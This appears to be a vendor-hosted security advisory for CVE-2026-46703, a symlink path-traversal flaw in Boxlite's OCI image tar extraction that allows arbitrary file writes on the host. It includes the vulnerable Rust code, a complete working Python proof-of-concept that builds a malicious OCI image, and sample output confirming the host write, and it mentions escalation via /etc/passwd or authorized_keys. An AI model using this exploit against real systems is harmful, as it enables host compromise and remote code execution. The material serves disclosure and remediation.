Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-46703

Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host
Back to all
CVE

CVE-2026-46703

Boxlite: Path Traversal Vulnerability Leads to Arbitrary File Write on the Host

Summary

Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. Boxlite allows users to specify the OCI image used by containers in the sandbox. However, when processing tar entries in OCI images, Boxlite does not account for the possibility that entries may be symlinks pointing to absolute paths. An attacker can craft a malicious OCI image and distribute it on image hosting platforms such as DockerHub, tricking users into using it. Once a user loads the malicious image, the attacker can write arbitrary content to any path on the host, which can further lead to remote code execution on the host.

Details

  1. Entry Point — OCI Layer Tarball Extraction

File: boxlite/src/images/archive/tar.rs Function: extractlayertarball_streaming() (line 24) Code:

pub fn extract_layer_tarball_streaming(tarball_path: &Path, dest: &Path) -> BoxliteResult<u64> {
    // ...
    apply_oci_layer(reader, dest)
}

Issue: The function passes the tar reader into applyocilayer. The tarball comes from a registry blob that has passed SHA256 integrity verification against the manifest digest — but the manifest itself is controlled by the registry, so a malicious registry can serve a valid manifest pointing to a crafted layer blob with a matching digest.

  1. Main Extraction Loop — Symlink Created Without Target Validation

File: boxlite/src/images/archive/tar.rs Function: applyocilayer() (line 196) Code:

EntryType::Symlink => {
    let target = link_name.ok_or_else(|| { /* ... */ })?;
    create_symlink(&full_path, &target)?;  // line 327 — target is NOT validated
}

Issue: The symlink's full_path (the link itself) is sanitized by normalizeentrypath to stay within dest. However, the target (what the symlink points to) is never validated. An entry with path usr and link target /etc creates {dest}/usr -> /etc, a symlink pointing outside the extraction root. There is no check that target stays within dest, is relative, or doesn't escape the container root.

  1. Symlink Target Written Verbatim

File: boxlite/src/images/archive/tar.rs Function: create_symlink() (line 747) Code:

fn create_symlink(path: &Path, target: &Path) -> BoxliteResult<()> {
    std::os::unix::fs::symlink(target, path).map_err(|e| { /* ... */ })
}

Issue: std::os::unix::fs::symlink is an lstat-level operation — it creates the symlink with the provided target string verbatim, no matter what it contains. If target is /etc, the link records /etc as the target. No containment check.

  1. ensureparentdirs Deliberately Follows and Preserves Escape Symlinks

File: boxlite/src/images/archive/tar.rs Function: ensureparentdirs() (line 457) Code:

Ok(m) if m.file_type().is_symlink() => {
    // Check if symlink points to a directory
    match fs::metadata(current_check) {  // follows symlink
        Ok(target_m) if target_m.is_dir() => {
            trace!("Preserving symlink that points to directory: ...");
            break;  // line 516 — stop, keep the symlink, treat as valid parent
        }

Issue: When the next tar entry has path usr/passwd and the code calls ensureparentdirs("{dest}/usr/passwd", dest), it walks up to {dest}/usr, finds it is a symlink pointing to a directory (e.g., /etc), and explicitly breaks the loop to preserve it — treating the out-of-root symlink as a valid, navigable parent. The createdirall call is then skipped for this path. The caller proceeds to open and write {dest}/usr/passwd, which the kernel resolves through the symlink to /etc/passwd.

  1. File Written Through Escaped Symlink

File: boxlite/src/images/archive/tar.rs Function: createregularfile() (line 715) Code:

fn create_regular_file<R: Read>(entry: &mut Entry<R>, path: &Path, mode: u32) -> BoxliteResult<()> {
    let mut file = OpenOptions::new()
        .write(true).create(true).truncate(true).mode(mode)
        .open(path)   // path = "{dest}/usr/passwd" which kernel follows to "/etc/passwd"
        .map_err(|e| { /* ... */ })?;
    io::copy(entry, &mut file)?;   // attacker-controlled content written to /etc/passwd
    Ok(())
}

Issue: OpenOptions::open() follows symlinks in path components by default. The kernel resolves {dest}/usr/passwd → {dest}/usr is a symlink to /etc → file opened at /etc/passwd. Attacker-controlled tar entry content is copied there verbatim.

As seen from the code, when a tar entry is a symlink, Boxlite's security checks are insufficient. An attacker can exploit this vulnerability to achieve arbitrary file write once a user loads a maliciously crafted image. The write permission is consistent with the process privilege running the Boxlite service, which is commonly root on Linux. The attacker can further leverage this capability to achieve remote code execution, such as writing the attacker's public key into the host's authorized_keys.

PoC

  1. Install Boxlite following the official tutorial.
  2. Run the following Python script:

   ```python

   #!/usr/bin/env python3

   """

   PoC: BoxLite OCI Layer Extraction Symlink Escape

   =================================================

   

   Vulnerability: boxlite/src/images/archive/tar.rs — extractlayertarball_streaming()

   Type:          CWE-61 / CAPEC-132 — Symlink Following during tar extraction

   

   Attack:

     OCI images consist of layer tarballs extracted on the host to build the ext4

     base image. If the extractor follows a symlink without verifying the resolved

     path stays within the extraction root, an attacker can craft a tar like:

   

       [1] SYMLINK  escape  ->  /tmp          (points to host /tmp)

       [2] FILE     escape/poc/pwned.txt       (resolves via [1] to /tmp/poc/pwned.txt)

   

     KVM hardware isolation is irrelevant here — tar extraction happens in the host

     process before the VM ever starts.

   

   Target write: /tmp/boxlitehostescape/pwned.txt

   Expected isolation boundary: boxlite internal staging dir under /tmp

   """

   

   import asyncio

   import hashlib

   import io

   import json

   import os

   import shutil

   import tarfile

   import time

   

   TARGETFILE = "/tmp/boxlitehost_escape/pwned.txt"

   OCILAYOUTDIR = "/tmp/maliciousocilayout"

   

   

   # ── Helpers ───────────────────────────────────────────────────────────────────

   

   

   def sha256hex(data: bytes) -> str:

       return hashlib.sha256(data).hexdigest()

   

   

   def add_entry(

       tf: tarfile.TarFile,

       name: str,

       type_: bytes,

       linkname: str = "",

       data: bytes = b"",

       mode: int = 0o644,

   ):

       info = tarfile.TarInfo(name=name)

       info.type = type_

       info.linkname = linkname

       info.size = len(data)

       info.mode = mode

       info.mtime = int(time.time())

       tf.addfile(info, io.BytesIO(data) if data else None)

   

   

   # ── Step 1: Build malicious OCI layer tar ─────────────────────────────────────

   

   

   def buildlayertar() -> bytes:

       """

       Tar entries (order matters):

         [1] SYMLINK  escape            ->  /tmp

         [2] DIR      escape/boxlitehostescape/     (resolves to /tmp/boxlitehostescape/)

         [3] FILE     escape/boxlitehostescape/pwned.txt  (resolves to /tmp/…/pwned.txt)

         [4] FILE     etc/os-release    (legitimate-looking decoy entries)

       """

       payload = (

           "===== BOXLITE SYMLINK ESCAPE: HOST FILESYSTEM WRITE =====\n"

           f"Written at: {time.strftime('%Y-%m-%d %H:%M:%S')}\n"

           f"Target: {TARGET_FILE}\n"

           "========================================================\n"

       ).encode()

   

       buf = io.BytesIO()

       with tarfile.open(fileobj=buf, mode="w") as tf:

           add_entry(tf, "escape", tarfile.SYMTYPE, linkname="/tmp", mode=0o777)

           addentry(tf, "escape/boxlitehost_escape", tarfile.DIRTYPE, mode=0o755)

           add_entry(

               tf, "escape/boxlitehostescape/pwned.txt", tarfile.REGTYPE, data=payload

           )

           add_entry(

               tf,

               "etc/os-release",

               tarfile.REGTYPE,

               data=b"ID=alpine\nVERSION_ID=3.19.0\n",

           )

       return buf.getvalue()

   

   

   # ── Step 2: Build OCI image layout ───────────────────────────────────────────

   

   

   def buildocilayout(out_dir: str) -> None:

       blobs = os.path.join(out_dir, "blobs", "sha256")

       os.makedirs(blobs, exist_ok=True)

   

       def write_blob(data: bytes) -> tuple[str, int]:

           dgst = sha256hex(data)

           with open(os.path.join(blobs, dgst), "wb") as f:

               f.write(data)

           return dgst, len(data)

   

       layerbytes = buildlayer_tar()

       layerdgst, layersz = writeblob(layerbytes)

   

       config_bytes = json.dumps(

           {

               "architecture": "amd64",

               "os": "linux",

               "config": {"Cmd": ["/bin/sh"]},

               "rootfs": {"type": "layers", "diffids": [f"sha256:{layerdgst}"]},

           }

       ).encode()

       cfgdgst, cfgsz = writeblob(configbytes)

   

       manifest_bytes = json.dumps(

           {

               "schemaVersion": 2,

               "mediaType": "application/vnd.oci.image.manifest.v1+json",

               "config": {

                   "mediaType": "application/vnd.oci.image.config.v1+json",

                   "digest": f"sha256:{cfg_dgst}",

                   "size": cfg_sz,

               },

               "layers": [

                   {

                       "mediaType": "application/vnd.oci.image.layer.v1.tar",

                       "digest": f"sha256:{layer_dgst}",

                       "size": layer_sz,

                   }

               ],

           }

       ).encode()

       mfdgst, mfsz = writeblob(manifestbytes)

   

       with open(os.path.join(out_dir, "index.json"), "w") as f:

           json.dump(

               {

                   "schemaVersion": 2,

                   "manifests": [

                       {

                           "mediaType": "application/vnd.oci.image.manifest.v1+json",

                           "digest": f"sha256:{mf_dgst}",

                           "size": mf_sz,

                           "annotations": {"org.opencontainers.image.ref.name": "latest"},

                       }

                   ],

               },

               f,

           )

   

       with open(os.path.join(out_dir, "oci-layout"), "w") as f:

           json.dump({"imageLayoutVersion": "1.0.0"}, f)

   

       print(f"  layer    sha256:{layerdgst[:16]}…  ({layersz} B)")

       print(f"  config   sha256:{cfgdgst[:16]}…  ({cfgsz} B)")

       print(f"  manifest sha256:{mfdgst[:16]}…  ({mfsz} B)")

   

   

   # ── Main ──────────────────────────────────────────────────────────────────────

   

   

   async def main():

       print("=" * 60)

       print("  PoC: BoxLite OCI Layer Extraction Symlink Escape")

       print("=" * 60)

   

       # Clean up previous run artifacts

       for path in [TARGETFILE, "/tmp/boxlitehostescape", OCILAYOUT_DIR]:

           if os.path.isfile(path):

               os.remove(path)

           elif os.path.isdir(path):

               shutil.rmtree(path)

   

       # [1] Build malicious OCI image

       print(f"\n[1] Building malicious OCI image → {OCILAYOUTDIR}")

       buildocilayout(OCILAYOUTDIR)

   

       # [2] Show crafted tar entries

       print("\n[2] Malicious layer tar entries:")

       with open(os.path.join(OCILAYOUTDIR, "index.json")) as f:

           idx = json.load(f)

       mf_dgst = idx["manifests"][0]["digest"].split(":")[1]

       with open(os.path.join(OCILAYOUTDIR, "blobs", "sha256", mf_dgst)) as f:

           mf = json.load(f)

       lyr_dgst = mf["layers"][0]["digest"].split(":")[1]

       lyr_data = open(

           os.path.join(OCILAYOUTDIR, "blobs", "sha256", lyr_dgst), "rb"

       ).read()

       with tarfile.open(fileobj=io.BytesIO(lyr_data)) as tf:

           for m in tf.getmembers():

               tstr = {

                   tarfile.REGTYPE: "FILE   ",

                   tarfile.SYMTYPE: "SYMLINK",

                   tarfile.DIRTYPE: "DIR    ",

               }.get(m.type, f"?{m.type}   ")

               suffix = f" -> {m.linkname}" if m.issym() else ""

               print(f"    {tstr}  {m.name}{suffix}")

   

       # [3] Confirm target absent before exploit

       print(f"\n[3] Pre-exploit — target exists? {os.path.exists(TARGET_FILE)}")

   

       # [4] Trigger extraction (vulnerability fires before VM starts)

       print(f"\n[4] Loading malicious image via boxlite.SimpleBox(rootfs_path=…)")

       import boxlite

   

       try:

           async with boxlite.SimpleBox(rootfspath=OCILAYOUT_DIR) as box:

               r = await box.exec("sh", "-c", "echo ok")

               print(f"    VM stdout: {r.stdout.strip()}")

       except Exception as e:

           # Box may fail to start (incomplete rootfs) — that's fine;

           # the symlink escape occurs during layer extraction, before VM launch.

           print(f"    Box error (expected): {type(e).name}: {e}")

   

       # [5] Verify host write

       print(f"\n[5] Post-exploit — target exists? {os.path.exists(TARGET_FILE)}")

       if os.path.exists(TARGET_FILE):

           print(f"\n  VULNERABLE — host file written successfully!")

           print(f"  Path: {TARGET_FILE}")

           print(open(TARGET_FILE).read())

       else:

           print("\n  NOT VULNERABLE (or already patched)")

   

   

   if name == "main":

       asyncio.run(main())

   ```

   This script constructs a malicious OCI image and passes it to the SimpleBox function via rootfs_path to create a container. In the malicious image, a symlink is first created pointing escape to /tmp, and then files are written under escape, thereby achieving file writes to the root filesystem.

   Sample output:

   ```

   $ python3 pocsymlinkescape.py

   ============================================================

     PoC: BoxLite OCI Layer Extraction Symlink Escape

   ============================================================

   

   [1] Building malicious OCI image → /tmp/maliciousocilayout

     layer    sha256:a1e8b4de11d64fce…  (10240 B)

     config   sha256:8e245c2c65565998…  (191 B)

     manifest sha256:2dad6671e78d8093…  (415 B)

   

   [2] Malicious layer tar entries:

       SYMLINK  escape -> /tmp

       DIR      escape/boxlitehostescape

       FILE     escape/boxlitehostescape/pwned.txt

       FILE     etc/os-release

   

   [3] Pre-exploit — target exists? False

   

   [4] Loading malicious image via boxlite.SimpleBox(rootfs_path=…)

       Box error (expected): RuntimeError: internal error: Container init failed: Failed to start container: internal error: Failed to create container b673b4e3400c71bd72464c98610c952e2164f70f946873b82adf3e6212851d54 at bundle /run/boxlite/containers/b673b4e3400c71bd72464c98610c952e2164f70f946873b82adf3e6212851d54: failed to create container: exec process failed with error error in executing process : PATH environment variable is not set

   

   [5] Post-exploit — target exists? True

   

     VULNERABLE — host file written successfully!

     Path: /tmp/boxlitehostescape/pwned.txt

   ===== BOXLITE SYMLINK ESCAPE: HOST FILESYSTEM WRITE =====

   Written at: ...

   Target: /tmp/boxlitehostescape/pwned.txt

   ========================================================

   ```

   

Impact

An attacker can craft a malicious OCI image and distribute it on image hosting platforms such as DockerHub, tricking users into using it. Once a user loads the malicious image, the attacker can write arbitrary content to any path on the host, which can further lead to remote code execution on the host.

Score

Severity: Critical, Score: 9.7, rationale as follows:

  • AV:N — The attacker can distribute the malicious image over the network, tricking users into pulling and using it
  • AC:L — This is a logic vulnerability that requires no complex exploitation
  • PR:N — The attacker does not need any additional privileges to exploit this vulnerability
  • UI:R — The attacker needs to trick the victim into using the maliciously crafted image
  • S:C — The attacker can leverage the vulnerability to achieve arbitrary command execution on the host, extending the impact to the host operating system and crossing the security boundary
  • C:H/I:H/A:H — The attacker can leverage the vulnerability to gain RCE capability on the host, posing a significant threat to confidentiality, integrity, and availability

Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.

Note

Note that we follow the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that we reserve the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.6
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-f396-4rp4-7v2j, https://nvd.nist.gov/vuln/detail/CVE-2026-46703, https://github.com/boxlite-ai/boxlite, https://github.com/boxlite-ai/boxlite/releases/tag/v0.9.0, https://rustsec.org/advisories/RUSTSEC-2026-0148.html

Severity

9.6

CVSS Score
0
10

Basic Information

Base CVSS
9.6
EPSS Probability
0.00482%
EPSS Percentile
0.39472%
Introduced Version
0
Fix Available
0.9.0

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading